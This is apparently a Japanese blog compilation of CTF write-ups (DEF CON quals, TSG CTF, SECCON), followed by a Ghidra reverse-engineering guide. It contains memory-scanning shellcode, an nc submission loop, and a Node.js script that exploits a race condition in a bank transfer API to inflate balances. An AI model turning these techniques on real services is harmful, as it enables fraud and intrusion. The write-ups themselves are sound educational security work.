[^] Success! Make sure you're also printing the flag, and that it's not taking too long. Next: convert your solution to raw shellcode -- you can start with C code, BTW! shellcode.c shows one way to do it.

次に上記の結果を基にshellcode.cを編集してRAWシェルコードを作成しました。

static int my_errno = 0;
#define SYS_ERRNO my_errno
#include "linux-syscall-support/linux_syscall_support.h"

#define PAGE_SIZE  4096
#define ADDR_MIN   0x0000100000000000UL  // Low-ish
#define ADDR_MASK  0x00000ffffffff000UL  // Page-aligns
#define ADDR_MAX   (ADDR_MASK + ADDR_MIN + PAGE_SIZE)
#define N_FAKES    30

void _start()
{
        void *addr = (void *)ADDR_MAX;
        int i;

        for (i = 0; i < N_FAKES + 1; i++) {
                do {
                        addr -= PAGE_SIZE;
                } while (sys_mprotect(addr, PAGE_SIZE, 1) != 0);
                sys_write(1, addr, PAGE_SIZE);
        }
        sys_exit_group(2);
}

flagが書き込まれたメモリ領域は、ランダムで決まります。 10秒以内でflagが書き込まれたメモリ領域が見つかることを祈って、何回か実行させました。 200回程度の試行回数で発見することができました。

#!/bin/bash

echo "pid: $$"

count=0
echo -en "try: $count"

while :
do
        nc know_your_mem.quals2019.oooverflow.io 4669 < shellcode.bin.pkt >> $$.log

        FLAG=`grep -a OOO $$.log`
        if [ "$FLAG" ]; then
                echo -e "\n$FLAG"
                break
        fi

        let count++
        echo -en "\rtry: $count"
done
$ make shellcode.bin.pkt
$ chmod +x ./solve.bash
$ ./solve.bash
pid: 7626
try: 200
OOO: You found it, congrats! The flag is: OOO{so many bits, so many syscalls}

FLAG

OOO{so many bits, so many syscalls}

[FIRST CONTACT] CANT_EVEN_UNPLUG_IT

問題

You know, we had this up and everything. Prepped nice HTML5, started deploying on a military-grade-secrets.dev subdomain, got the certificate, the whole shabang. Boss-man got moody and wanted another name, we set up the new names and all. Finally he got scared and unplugged the server. Can you believe it? Unplugged. Like that can keep it secret…

添付ファイル(HINT)

Hint: these are HTTPS sites. Who is publicly and transparently logging the info you need?
Just in case: all info is freely accessible, no subscriptions are necessary. The names cannot really be guessed. 

解答例

問題文を要約すると、以下の通りになります。

  1. HTML5で書かれたWebサイトを作成した。
  2. military-grade-secrets.devのサブドメインで証明書を作成した。
  3. 名前が気に入らなかったので、新しいドメイン名を取得した。
  4. Webサイトの公開を停止した。

military-grade-secrets.devのサブドメインで証明書を作成しているということなので、証明書の登録を確認しました。 今回は、Check website securityというサービスを利用して検索しました。

ssltools.digicert.com

「military-grade-secrets.dev」と入力し、「Include subdomains」にチェックを入れて検索します。 以下の2つのサブドメインで登録されていることが確認できました。

  • secret-storage.military-grade-secrets.dev
  • now.under.even-more-militarygrade.pw.military-grade-secrets.dev

f:id:tsalvia:20190514021828p:plain

どちらか片方にcurlで接続してみます。

$ curl https://secret-storage.military-grade-secrets.dev
<HTML><HEAD><meta http-equiv="content-type" content="text/html;charset=utf-8">
<TITLE>302 Moved</TITLE></HEAD><BODY>
<H1>302 Moved</H1>
The document has moved
<A HREF="https://forget-me-not.even-more-militarygrade.pw">here</A>.
</BODY></HTML>

https://forget-me-not.even-more-militarygrade.pw にリダイレクトされるようになっていました。 curlで接続してみましたが、今度は接続できませんでした。 問題文にあるようにサーバは既に切断されているようです。

Finally he got scared and unplugged the server.

$ curl https://forget-me-not.even-more-militarygrade.pw
curl: (7) Failed to connect to forget-me-not.even-more-militarygrade.pw port 443: Connection refused

ウェブアーカイブに残っているかもしれないと、アクセスしてみるとフラグの書かれたページを表示することができました。

web.archive.org

http://web.archive.org/web/20190309234647/http://forget-me-not.even-more-militarygrade.pw/

f:id:tsalvia:20190514023113p:plain

FLAG

OOO{DAMNATIO_MEMORIAE}

TSG CTF Writeup

TSG CTF について

東京大学コンピュータサイエンス系学生団体TSGと株式会社FlattによるCTFの大会が開催されました。 2019年5月4日(土)午後4時〜2019年5月5日(日)午後4時(24時間)

prtimes.jp

1位から3位までのチームには、賞金が貰えるそうです。 私も参加しましたが、全然歯が立たず、2/22問しか解くことができませんでした。 結果は、370点で79/410位でした。

f:id:tsalvia:20190506204245p:plain

TSG CTF Writeup(4問)

[Warmup] Sanity Check

問題

Log in to our Discord server for TSG CTF and find the flag here:

TSG CTF のDiscordサーバー にログインして↓の場所に書いてあるフラグを送信してください。

f:id:tsalvia:20190506030546p:plain

解答例

TSG CTFのDiscodeサーバに接続して、#announcements とトピックに書かれたフラグを送信するだけのウォーミングアップ問題です。

FLAG

TSGCTF{ur_here_cuz_u_absolutely_won_inshack_ctf?}

[Forensics] Obliterated File

問題

※ This problem has unintended solution, fixed as "Obliterated File Again". Original problem statement is below.

Working on making a problem of TSG CTF, I noticed that I have staged and committed the flag file by mistake before I knew it. I googled and found the following commands, so I'm not sure but anyway typed them. It should be ok, right?

※ この問題は非想定な解法があり,"Obliterated File Again" で修正されました.元の問題文は以下の通りです.

TSG CTFに向けて問題を作っていたんですが,いつの間にか誤ってflagのファイルをコミットしていたことに気付いた!とにかく,Google先生にお伺いして次のようなコマンドを打ちこみました.よくわからないけどこれできっと大丈夫...?

Difficulty Estimate: easy

$ git filter-branch --index-filter "git rm -f --ignore-unmatch problem/flag" --prune-empty -- --all
$ git reflog expire --expire=now --all
$ git gc --aggressive --prune=now

添付ファイル(problem.zip)

解答例

添付されたzipファイルを展開すると、gitで管理されていたであろうソースコードが確認できます。 下記の記事を参考にflagファイルの復元を試してみると、あっさり復元に成功してしまいました。

$ unzip problem.zip
$ cd easy_web/
$ git rev-list -n 1 HEAD -- flag
28d2b74b0c40583a87cf275f9f0cdfd55042884d
$ git checkout 28d2b74b0c40583a87cf275f9f0cdfd55042884d^ -- flag
$ ls
README.md flag problem

ただし、flagファイルは、zlibで圧縮されているようでそのまま読み取ることができません。

$ file flag
flag: zlib compressed data

しばらくzip内のファイルを探索していると、 easy_web/problem/main.cr にzlibで圧縮されたファイルの読み取り処理がありました。

require "./src/*"
require "sqlite3"
#require "zlib"
#flag = File.open("./flag", "r") do |f|
#    Zlib::Reader.open(f) do |inflate|
#        inflate.gets_to_end
#    end
#end
flag = ENV["flag"]

`rm -rf data.db`
DB.open "sqlite3://./data.db" do |db|
    db.exec "CREATE TABLE accounts (id text primary key, pass text);"
    db.exec "INSERT INTO accounts VALUES ('admin', '#{flag}');"
end

Kemal.config.env = "production"
Kemal::Session.config.secret = ENV["session_secret"]

コメントアウトされているので、TSG CTF運営がわざと残してくれたものだと思います。せっかくなのでこれを利用して、フラグを読み取りました。

まずは、main.crを下記の通りに書き換えます。

require "zlib"
flag = File.open("../flag", "r") do |f|
    Zlib::Reader.open(f) do |inflate|
        inflate.gets_to_end
    end
end
print flag
print "\n"

下記コマンドを実行すると、フラグが表示されます。

$ crystal main.cr
TSGCTF{$_git_update-ref_-d_refs/original/refs/heads/master}

FLAG

TSGCTF{$_git_update-ref_-d_refs/original/refs/heads/master}

[Forensics] Obliterated File Again

問題

I realized that the previous command had a mistake. It should be right this time...?

さっきのコマンドには間違いがあったことに気づきました.これで今度こそ本当に,本当に大丈夫なはず......?

Difficulty Estimate: easy - medium

$ git filter-branch --index-filter "git rm -f --ignore-unmatch *flag" --prune-empty -- --all
$ git reflog expire --expire=now --all
$ git gc --aggressive --prune=now

添付ファイル(problem.zip)

解答例

Obliterated File と同様の手法では、flagファイルを復元することができませんでした。 そのため、別の案として、ハッシュ値を総当たりで git cat-file -p xxxx コマンドを実行し、flagファイルを復元する作戦を取りました。

  1. ハッシュ値を4桁分だけ求める。
  2. git cat-file -p を実行して、ファイルに書き出す。
  3. 上記を繰り返す。
# brute_git_catfile.py
import subprocess
from tqdm import tqdm

for i in tqdm(range(0xFFFF)):
    hash4 = hex(i).split('x')[1].zfill(4)
    try:
        subprocess.check_call("git cat-file -p " + hash4 + ">> git_catfile.log 2>/dev/null", shell=True)
    except:
        pass

上記のプログラムですべてのファイルを出力したので、grepで絞り込んでflagファイルを復元します。

$ python brute_git_catfile.py
100%|██████████| 65535/65535 [03:22<00:00, 323.34it/s]
$ grep flag git_catfile.log | grep blob
100644 blob c1e375244c834c08d537d564e2763a7b92d5f9a8    flag
100644 blob c1e375244c834c08d537d564e2763a7b92d5f9a8    flag
100644 blob c1e375244c834c08d537d564e2763a7b92d5f9a8    flag
100644 blob c1e375244c834c08d537d564e2763a7b92d5f9a8    flag
$ git cat-file -p c1e375244c834c08d537d564e2763a7b92d5f9a8 > flag

復元したファイルは、前の問題(Obliterated File)と同様にzlibで圧縮されているようです。 同様の方法で展開すれば、フラグを取得できます。

$ file flag
flag: zlib compressed data

FLAG

TSGCTF{$_git_update-ref_-d_refs/original/refs/heads/master_S0rry_f0r_m4king_4_m1st4k3_0n_th1s_pr0bl3m}

[Web] Secure Bank(当日は間に合いませんでした)

当日は、タイミング調整が上手くいかず、間に合いませんでした。 リクエスト回数を増やしたところ、フラグが取得できたので紹介します。

問題

I came up with more secure technique to store user list. Even if a cracker could dump it, now it should be of little value!!!

http://34.85.75.40:19292/

ユーザ情報を保存するのに、もっとセキュアな方法を思いついた気がしなくもない。 仮に全部ダンプされてしまったとしても、かなり無価値になりそうでは。

http://34.85.75.40:19292/

Difficulty estimate: Easy

require 'digest/sha1'
require 'rack/contrib'
require 'sinatra/base'
require 'sinatra/json'
require 'sqlite3'

STRETCH = 1000
LIMIT   = 1000

class App < Sinatra::Base
  DB = SQLite3::Database.new 'data/db.sqlite3'
  DB.execute <<-SQL
    CREATE TABLE IF NOT EXISTS account (
      user TEXT PRIMARY KEY,
      pass TEXT,
      balance INTEGER
    );
  SQL

  use Rack::PostBodyContentTypeParser
  enable :sessions

  def err(code, message)
    [code, json({message: message})]
  end

  not_found do
    redirect '/index.html', 302
  end

  get '/source' do
    content_type :text

    IO.binread __FILE__
  end

  get '/api/flag' do
    return err(401, 'login first') unless user = session[:user]

    hashed_user = STRETCH.times.inject(user){|s| Digest::SHA1.hexdigest(s)}

    res = DB.query 'SELECT balance FROM account WHERE user = ?', hashed_user
    row = res.next
    balance = row && row[0]
    res.close

    return err(401, 'login first') unless balance
    return err(403, 'earn more coins!!!') unless balance >= 10_000_000_000

    json({flag: IO.binread('data/flag.txt')})
  end

  post '/api/balance' do
    return err(401, 'login first') unless user = session[:user]

    hashed_user = STRETCH.times.inject(user){|s| Digest::SHA1.hexdigest(s)}
    res = DB.query('SELECT balance FROM account WHERE user = ?', hashed_user)
    row = res.next
    res.close

    return err(401, 'login first') unless row

    json({balance: row[0]})
  end

  post '/api/register' do
    return err(400, 'bad request') unless user = params[:user] and String === user
    return err(400, 'bad request') unless pass = params[:pass] and String === pass

    return err(400, 'too short username') unless 4 <= user.size
    return err(400, ':thinking_face: 🤔') unless 6 <= pass.size
    return err(400, 'too long request') unless user.size <= LIMIT and pass.size <= LIMIT

    sleep 1

    hashed_user = STRETCH.times.inject(user){|s| Digest::SHA1.hexdigest(s)}
    hashed_pass = STRETCH.times.inject(pass){|s| Digest::SHA1.hexdigest(s)}

    begin
      DB.execute 'INSERT INTO account (user, pass, balance) VALUES (?, ?, 100)', hashed_user, hashed_pass
    rescue SQLite3::ConstraintException
      return err(422, 'the username has already been taken')
    end

    return 200
  end

  post '/api/login' do
    return err(400, 'bad request') unless user = params[:user] and String === user
    return err(400, 'bad request') unless pass = params[:pass] and String === pass

    return err(400, 'too short username') unless 4 <= user.size
    return err(400, ':thinking_face: 🤔') unless 6 <= pass.size
    return err(400, 'too long request') unless user.size <= LIMIT and pass.size <= LIMIT

    hashed_user = STRETCH.times.inject(user){|s| Digest::SHA1.hexdigest(s)}
    hashed_pass = STRETCH.times.inject(pass){|s| Digest::SHA1.hexdigest(s)}

    res = DB.query 'SELECT 1 FROM account WHERE user = ? AND pass = ?', hashed_user, hashed_pass
    row = res.next
    res.close

    return err(401, 'username and password did not match') unless row

    session[:user] = user
    return 200
  end

  post '/api/logout' do
    session[:user] = nil
    return 200
  end

  post '/api/transfer' do
    return err(401, 'login first') unless src = session[:user]

    return err(400, 'bad request') unless dst = params[:target] and String === dst and dst != src
    return err(400, 'bad request') unless amount = params[:amount] and String === amount
    return err(400, 'bad request') unless amount = amount.to_i and amount > 0

    sleep 1

    hashed_src = STRETCH.times.inject(src){|s| Digest::SHA1.hexdigest(s)}
    hashed_dst = STRETCH.times.inject(dst){|s| Digest::SHA1.hexdigest(s)}

    res = DB.query 'SELECT balance FROM account WHERE user = ?', hashed_src
    row = res.next
    balance_src = row && row[0]
    res.close
    return err(422, 'no enough coins') unless balance_src >= amount

    res = DB.query 'SELECT balance FROM account WHERE user = ?', hashed_dst
    row = res.next
    balance_dst = row && row[0]
    res.close
    return err(422, 'no such user') unless balance_dst

    balance_src -= amount
    balance_dst += amount

    DB.execute 'UPDATE account SET balance = ?  WHERE user = ?', balance_src, hashed_src
    DB.execute 'UPDATE account SET balance = ?  WHERE user = ?', balance_dst, hashed_dst

    json({amount: amount, balance: balance_src})
  end
end

解答例

サーバに接続するとユーザ登録画面が表示されます。 ユーザ登録後、ログインすると以下の3つの機能が確認できます。

  • 別のユーザにお金を送金する。
  • フラグを表示する。
  • ログアウトする。

フラグの表示機能を試してみると、「earn more coins!!!」と表示されました。 どうやら何らかの方法でお金を稼げば、フラグが表示できそうです。 次にソースコードを読んでみると、以下の項目が確認できました。

  • 10,000,000,000円所持していれば、フラグ表示機能を利用できる。
  • ユーザ名やパスワードなどの入力値は、1000文字が最大値となっている。
  • ユーザ名とパスワードは、SHA1で1000回ハッシュを取った後、データベースに登録される。
  • バインドメカニズムを使用しており、SQLインジェクションができそうにない。
  • 送金処理(transfer API)に排他制御の処理がなく、なぜかsleepで1秒待つ処理がある。

送金処理の不備に着目して、お金を増やす方法を考えてみます。 下記の処理を行うことができれば、お金を倍々に増やしていくことができそうです。

  1. 2つの送金処理を同時に行う。

    • user0 が user1 に1円だけ送金する。(処理x)
    • user1 が user2 に全額送金する。(処理y)

    現在の状態:

    user0 user1 user2
    100 100 100
  2. 処理xでuser1の残高を取得する。まだ、処理yの送金処理が行われていないので、100円持っていると認識される。

  3. 処理yでuser1の残高を取得する。
  4. 処理yでuser1 から user2 に 全額送金される。

    現在の状態:

    user0 user1 user2
    100 0 200
  5. 処理xでuser0 から user1 に 1円が送金される。(2)より、user1の残高が100円だと認識しているので、user1の所持金が101円となってしまう。

    現在の状態:

    user0 user1 user2
    99 101 200

このような処理を行うでプログラムをnodejsで組みました。 以下の処理を行います。

  1. 3人分のユーザを登録する。
  2. 各ユーザでログインし、ログイン状態の保持のためcookieを保存しておく。
  3. user0 から user1に1円を送金する。 次の処理を上手く割り込めるようにするため、同時に20回のリクエストを投げる。
  4. user1 から user2 に全額送金する。
  5. user0のお金がなくならないように、user2 から user0 に20円送金する。
  6. 同様に、user2 から user1 に全額送金する。
  7. 3~6を目標金額まで繰り返す。
'use strict';
const request = require('request');
const Promise = require('promise');
const async = require('async');
const await = require('await');

function register(user, passwd) {
    const headers = {
        'Content-Type': 'application/json',
    }

    const options = {
        url: 'http://34.85.75.40:19292/api/register',
        method: 'POST',
        headers: headers,
        json: { "user": user, "pass": passwd }
    }

    return new Promise((resolve, reject) => {
        request(options, (error, response, body) => {
            if (error) {
                reject(error);
            } else {
                resolve(body);
            }
        });
    });
};

function login(user, passwd) {
    const headers = {
        'Content-Type': 'application/json',
    }

    const options = {
        url: 'http://34.85.75.40:19292/api/login',
        method: 'POST',
        headers: headers,
        json: { "user": user, "pass": passwd }
    }

    return new Promise((resolve, reject) => {
        request(options, (error, response, body) => {
            if (error) {
                reject(error);
            } else {
                const cookie = response.headers['set-cookie'][0].split(';')[0];
                resolve(cookie);
            }
        });
    });
};

function balance(cookie_string) {
    const headers = {
        'Content-Type': 'application/json',
        'Cookie': cookie_string,
    }

    const options = {
        url: 'http://34.85.75.40:19292/api/balance',
        method: 'POST',
        headers: headers,
        json: {}
    }

    return new Promise((resolve, reject) => {
        request(options, function (error, response, body) {
            if (body) {
                resolve(body.balance);
            } else if (error) {
                reject(error);
            }
        });
    });
}

function transfer(cookie_string, target, amount) {
    const headers = {
        'Content-Type': 'application/json',
        'Cookie': cookie_string,
    }

    const options = {
        url: 'http://34.85.75.40:19292/api/transfer',
        method: 'POST',
        headers: headers,
        json: { 'target': target, 'amount': amount.toString(10) }
    }

    request(options, function (error, response, body) {
        if (error)
            console.log(error);
    });
}

function sleep(ms) {
    return new Promise(resolve => setTimeout(resolve, ms));
}

(async () => {
    const users = ['bank1', 'bank2', 'bank3'];
    const passwd = 'aaaaaa';
    const cookies = [];
    const keepcount = 20;

    for (let i = 0; i < users.length; i++) {
        await register(users[i], passwd);
        let cookie = await login(users[i], passwd);
        cookies.push(cookie);
    }

    while (true) {
        // 現在の残高取得
        const balances = [];
        for (let i = 0; i < users.length; i++) {
            const money = await balance(cookies[i]);
            balances.push(money);
            console.log(users[i], money);
        }

        // 全額を送金するユーザ(users[1])に1円ずつ送金する
        for (let i = 0; i < keepcount; i++)
            transfer(cookies[0], users[1], 1); // 非同期

        // 全額をusers[2]に送金する
        await transfer(cookies[1], users[2], balances[1]);

        balances[1] = await balance(cookies[2]);
        if (balances[1] >= 10000000000)
            break;

        // 送金したお金を元に戻す
        await transfer(cookies[2], users[0], keepcount);
        await sleep(1000);
        await transfer(cookies[2], users[1], balances[1] - keepcount);
        console.log('---------------');
    }
})();

必要なパッケージのインストールと実行結果

$ npm install request promise async await
$ node secure_bank.js

# 省略

---------------
bank1 2
bank2 20
bank3 5938478442
---------------
bank1 20
bank2 1942115006
bank3 3996363441
---------------
bank1 21
bank2 1942115015
bank3 5938478427
---------------
bank1 21
bank2 5938478445
bank3 3884230001
---------------
bank1 22
bank2 20
bank3 9822708426
---------------
bank1 1
bank2 3884230001
bank3 5938478445
---------------
bank1 0
bank2 3884230017
bank3 9822708426
---------------
bank1 0
bank2 9822708458
bank3 7768459998
---------------
bank1 21
bank2 20
bank3 17591168436

お金を倍々に増やすことができました。あとは、フラグ取得APIを使ってフラグを確認します。

f:id:tsalvia:20190506203539p:plain

FLAG

TSGCTF{H4SH_FUNCTION_1S_NOT_INJ3C71V3... :(}

SECCON 令和CTF Writeup

SECCON 令和CTF について

平成最後のCTFとして、http://score-reiwa.seccon.jp/が開催されました。
平成31年4月30日(火)23:00(JST)~令和元年5月1日(水)01:00 (JST) (2時間)
※ 開始直後にサーバトラブルがあり、結局2時まで開催されていました。

2018.seccon.jp

私もいろいろ準備して参加しましたが、 結局チュートリアルも含めて、4問しか解くことができませんでした。 結果は、310点で78/858位でした。

f:id:tsalvia:20190501113258p:plain

SECCON 令和CTF Writeup(4問)

Misc フラグの例は?

平成最後の最後、令和最初のSECCON CTFにようこそ。 フラグはSECCON{reiwa}です。

Misc bREInWAck

問題

元号が変わる。記号も変わる。
参考: https://ja.wikipedia.org/wiki/Brainfuck

添付ファイル(flag.bw)

令和和和和和和和和和和和和和和和和「令和
和和和和令和和和和令和和和和和和和令和和
和和和和令和和平平平平平成」令和和和。令
和和和和和。成成。。平成成成成。成。令令
和和和和和和和和和和和。令和和。平平平和
和和和。令和和。和和和和。令令和和和和和
和和和和和和和。平平平和和和和和和和和和
和和和和。成成成成成成成成。令成成成成成
成成成。令令。成成成成成。成成成成成成。
令和。平平和和。令令令和和和和和和和和和
和。

解答例

令和平成「」。 の文字をBrainfuckの記号( >+<-[]. )に置き換えて、 Brainfuckインタプリタで実行するとフラグが取得できます。

cat flag.bw |
sed -e 's/令/>/g' |
sed -e 's/和/+/g' |
sed -e 's/平/</g' |
sed -e 's/成/-/g' |
sed -e 's/「/[/g' |
sed -e 's/」/]/g' |
sed -e 's/。/./g'

変換すると、下記のようになります。

$ sh reiwa_ctf_misc2.sh
>++++++++++++++++[>+
++++>++++>+++++++>++
++++>++<<<<<-]>+++.>
+++++.--..<----.-.>>
+++++++++++.>++.<<<+
+++.>++.++++.>>+++++
+++++++.<<<+++++++++
++++.--------.>-----
---.>>.-----.------.
>+.<<++.>>>+++++++++
+.

今回は、下記のBrainfuckインタプリタを使用しました。

copy.sh

f:id:tsalvia:20190501112847p:plain

Misc 零は?

問題

nc zerois-o-reiwa.seccon.jp 23615

解答例

netcatで接続すると、計算問題が表示されます。
右辺の計算結果が0になるような?を見つけていく問題のようです。

$ nc zerois-o-reiwa.seccon.jp 23615
[1/100]
0=71-?
?=71
[2/100]
0=91*71-?
?=

後半になると問題も長くなり、タイムアウト時間もあるので手動では解けそうにありません。 今回は、Pythonを使って100問解くようにプログラムを書きました。

  1. pwntoolsで接続して、問題を取得する。
  2. ?を総当たりで割り当てて、evalで計算する。
  3. 計算結果が0になったら、回答する。
  4. 上記を繰り返す。
from pwn import *

p = remote('zerois-o-reiwa.seccon.jp', 23615)

for count in range(100):
    print '--- ' + str(count) + ' ---'

    # get question
    p.readuntil('0=')
    question = p.readuntil('?=').split('\n')[0]
    print question

    # brute force
    answer = 0
    while True:
        tmp = question
        result = eval(tmp.replace('?', str(answer)))
        if result == 0:
            break
        answer += 1

    # send answer
    p.sendline(str(answer));
    print '?=' + str(answer)

p.interactive()

実行すると、下記のようになります。

$ python reiwa_ctf_misc3.py
[+] Opening connection to zerois-o-reiwa.seccon.jp on port 23615: Done
--- 0 ---
?-43
?=43
--- 1 ---
60+23-?
?=83

(省略)

--- 98 ---
71-92+76*30*15+56-84*68+47-65-10+79*10*61+27-94*40+34-1+36*96-29-71*73+25*89+91-52*62-52+33-6*43+9*8+62-22-45+36*13-18+52*60+16-59*57-63+83*65*64-85+48+6*56-32+57*29-74-88*90+58-42+7*86*52+58-25-57*18+22+98*90-97+89-69*29*8+51-97-63*67+20+19-54*95*18+19-52+89*55-13*33+80-54-77+?*0+39-92-340391
?=0
--- 99 ---
55+56*0-68+32-47*78*59+59-85+45-71*73+91*90-21*25+93-15+98-27*82*99+49-48+77*73-78*80+44-13*89-67+24-60+14*31-97*75+87+30*88-33-23*28+19*35-93+29*30-22+71+75*65-33+56*54-20+59-68*81-54+9*32+16-50*5*80-34+75*15-40+51+31-90*43*18-57+46+99-59*19-80+93*89*24-33+97-39*89+40-99*72+72-14+67*88+0*?-10+330814
?=0
[*] Switching to interactive mode
Congratulations!
The flag is SECCON{REIWA_is_not_ZERO_IS}.
(Enter RETURN key if connection is not disconnected)
[*] Got EOF while reading in interactive
$

Forensic 新元号発表

問題

newera.pdfを開くと下記の画像が表示されます。

f:id:tsalvia:20190501103333p:plain

解答例

PDFをよく見ると、QRコードが隠れているように見えます。 下記のサービスを使用してPDFから画像を抽出してみました。
smallpdf.com

抽出すると、2つの画像を取得することができました。

f:id:tsalvia:20190501104229j:plain

f:id:tsalvia:20190501110248j:plain

後は適当に重ねてQRコードを読み込むとフラグが取得できます。 私は、PowerPointの機能で白を透過させて2つの画像を重ねました。

www.becoolusers.com

実際にQRコードを重ねてみると、以下のようになります。

f:id:tsalvia:20190501104125p:plain

Ghidraの使い方(調査まとめ)

はじめに

しばらくGhidraについて調べていたので、見つけた機能をいろいろ紹介していきます。 インストール方法やプロジェクトの共有については、別の記事を参考にしてください。

tsalvia.hatenablog.com tsalvia.hatenablog.com

公式サイトからチートシートも用意されているので、こちらも参考になります。
Ghidra Cheat Sheet

f:id:tsalvia:20190401001401p:plain

検証環境

下記の環境で検証を行いました。

  • Windows 10 バージョン 1809
  • OpenJDK 11.02
  • Ghidra v9.0.2

解析用のサンプルプログラム

紹介するにあたって、解析サンプルとなるようなプログラムを用意しました。 このプログラムをベースに説明していきます。 正しいパスワードを入力したら、flagが取得できるようなCTF形式の簡単なプログラムを用意しました。

  • 実行例
$ ./HelloGhidra
Usage: ./HelloGhidra <password>
$ ./HelloGhidra aaaaaaaa
Incorrect password.
$ ./HelloGhidra Hello_Ghidra!
Congratulations! flag{Hello_Ghidra!}
$ gcc -o HelloGhidra HelloGhidra.c
$ strip ./HelloGhidra

Ghidraの機能紹介

ウィンドウのレイアウト変更

各ウィンドウの青いバーをドラッグアンドドロップすることで、レイアウトを自由に変更できる。

  • f:id:tsalvia:20190331193302p:plainで別ウィンドウで表示する。
  • f:id:tsalvia:20190331193421p:plainで間に挿入する。
  • f:id:tsalvia:20190331193500p:plainでウィンドウを重ねる。

https://i.gyazo.com/9279cc57778d902cacb150775b426e10.gif

アセンブラ表示のレイアウト変更

Listingウィンドウのレイアウトは、細かく修正することができます。

Listingウィンドウの右上のf:id:tsalvia:20190331225234p:plainをクリックすると、レイアウト編集モードに入れます。

https://i.gyazo.com/bd5941a6e4ee99a8bd88369d0f1bfd18.gif

スタックの深さを表示する

  1. Listingウィンドウの右上のf:id:tsalvia:20190331225234p:plainをクリックすると、レイアウト編集モードに入ります。
  2. 「挿入したい場所を右クリック」→「Add Field」→「Stack Depth」をクリックする。

f:id:tsalvia:20190331232606p:plain

  1. 左端に「Stack Depth」が追加されました。

f:id:tsalvia:20190331233301p:plain

コードグラフの表示

「Window」→「Function Graph」もしくはf:id:tsalvia:20190331233829p:plainをクリックすると表示されます。

f:id:tsalvia:20190331233809p:plain

スナップショットの作成

現在見ている場所をスナップショットとして別ウィンドウに保持することができます。

各ウィンドウの右上にあるf:id:tsalvia:20190331235834p:plainをクリックすると、スナップショットを作成することができます。

https://i.gyazo.com/cfb56e9d20218bc986ffdd3fc706508d.gif

関数名や型の書換え

関数名や返り値の型などを修正することができます。

「関数名を右クリック」→「Edit Function Signature」で編集ウィンドウが表示されます。

f:id:tsalvia:20190331194916p:plain

  • 変更前 f:id:tsalvia:20190331195058p:plain

  • 変更後 f:id:tsalvia:20190331195326p:plain f:id:tsalvia:20190331195358p:plain

変数名の変更

ループカウンタ変数である「local_c」を「i」に書き換えてみます。
「変数(local_c)を右クリックする」→「Rename Variable」で変更できます。

f:id:tsalvia:20190331205544p:plain

f:id:tsalvia:20190331205437p:plain

  • 変更前 f:id:tsalvia:20190331204922p:plain

  • 変更後 f:id:tsalvia:20190331205218p:plain

数値の表示形式を変更する(例:16進数→10進数)

「Listingウィンドウの数値を右クリックする」→「Convert」で様々な形式に変換できます。

f:id:tsalvia:20190331210350p:plain

Listingウィンドウで変換した内容は、Decompileウィンドウにも反映されます。 f:id:tsalvia:20190331210551p:plain

文字列の検索(Defined Strings)

「Window」→「Defined Strings」で表示できます。

f:id:tsalvia:20190331200313p:plain

文字列の参照先にジャンプする

  1. 「対象の文字列をダブルクリック」すると、文字列が格納されている場所にジャンプします。
  2. 「ジャンプ先の文字列を右クリック」→「References」→「Show References to Address」をクリックする。
  3. 参照先のアドレス一覧が表示されるので、ジャンプしたい項目をダブルクリックする。

https://i.gyazo.com/69c7d7828ae86dee2311fc25792f4da1.gif

オーバービューやエントロピーの表示

「どこに何が格納されているのか」や「どういう形式なのか」を色で確認することができます。

Listingウィンドウの右上にある「Toggles overview margin displays.」をクリックする。 「Show Overview」や「Show Entropy」にチェックを入れる。

https://i.gyazo.com/ac7ffaee50edcb850a3eb14caa1570c7.gif

  • Overview
    f:id:tsalvia:20190331202507p:plain

  • Entropy
    f:id:tsalvia:20190331202538p:plain

マウスオーバーで参照先を表示する

関数名やラベルにマウスカーソルを当てると、参照先がどうなっているのかを確認することができます。

https://i.gyazo.com/afde6c9af0471f3a9cdc61696c599838.gif

マウスオーバー機能の無効化

Listingウィンドウの右上にあるf:id:tsalvia:20190331204258p:plainをクリックすると、 f:id:tsalvia:20190331204319p:plainに変わり、マウスオーバーで表示する機能を無効化できる。

関数呼び出しをツリーグラフで確認する

「Window」→「Function Call Graph」で表示できます。

f:id:tsalvia:20190331220808p:plain

コメントの挿入

  1. 「コメントを挿入したい個所を右クリック」→「Comments」→「Set Pre Comment...」をクリックします。 f:id:tsalvia:20190331213943p:plain

  2. コメント挿入用のウィンドウが表示されるのでコメントを書き込んで、「Apply」をクリックする。 f:id:tsalvia:20190331214053p:plain

  3. コメントは、DecompileウィンドウやListingウィンドウに反映されます。 f:id:tsalvia:20190331213816p:plain

バイナリ表示(Bytes)

「Window」→「Bytes」 もしくは f:id:tsalvia:20190331211359p:plainボタンをクリックすると表示されます。

f:id:tsalvia:20190331211626p:plain

アスキー文字列の表示

Bytesウィンドウの右上のf:id:tsalvia:20190331213046p:plainボタンをクリックし、 「Ascii」にチェックを入れる。

f:id:tsalvia:20190331212243p:plain

f:id:tsalvia:20190331213011p:plain

スクリプトマネージャ

Ghidraにはさまざまなスクリプトが用意されています。

「Window」→「Script Manager」もしくはf:id:tsalvia:20190331234633p:plainで開くことができます。

f:id:tsalvia:20190331234550p:plain

Script Managerの右上のf:id:tsalvia:20190331234838p:plainをクリックすると、ソースコードを表示することができます。

f:id:tsalvia:20190331234806p:plain

XOR変換(XorMemoryScript.java

  1. XOR変換したい個所を「Bytes」ウィンドウで指定する。 マウスでドラッグすると、緑色にハイライトされます。

f:id:tsalvia:20190331215142p:plain

  1. 「Script Manager」を開いて、「XorMemoryScript.java」にチェックを入れます。
  2. 「Run Script」ボタンを押すと、スクリプトが起動します。
  3. 今回は、0x15でxorされていることが、Decompile結果から分かっているので、「15」と入力します。

f:id:tsalvia:20190331215441p:plain

  1. 「OK」を押すと、ハイライトされた箇所が「]pyyzJR}|qgt4」から「Hello_Ghidra!」に変換されていることが分かります。

f:id:tsalvia:20190331215608p:plain

ダークモード

「Edit」→「Tool Options...」→「Tool」→「Use Inverted Colors」にチェックを入れる。
※ CodeBrowserではなく、プロジェクト管理のEditメニューから設定する。

f:id:tsalvia:20190331193904p:plain

f:id:tsalvia:20190331194038p:plain

参考にしたサイト

Ghidra プロジェクトの共有方法

はじめに

Ghidraには、プロジェクトの共有機能が実装されています。 複数人で解析する場合は、この機能を使うと便利です。 ちなみにIDA Proには、デフォルトでプロジェクト共有機能がありません。 IDArlingのようなプラグインを別途導入する必要があります。

Ghidraサーバの詳細については、<Ghidraのディレクトリ>/server/svrREADME.htmlを参照してください。

また、Ghidraのインストール方法は、こちらを確認してください。

プロジェクトの共有手順

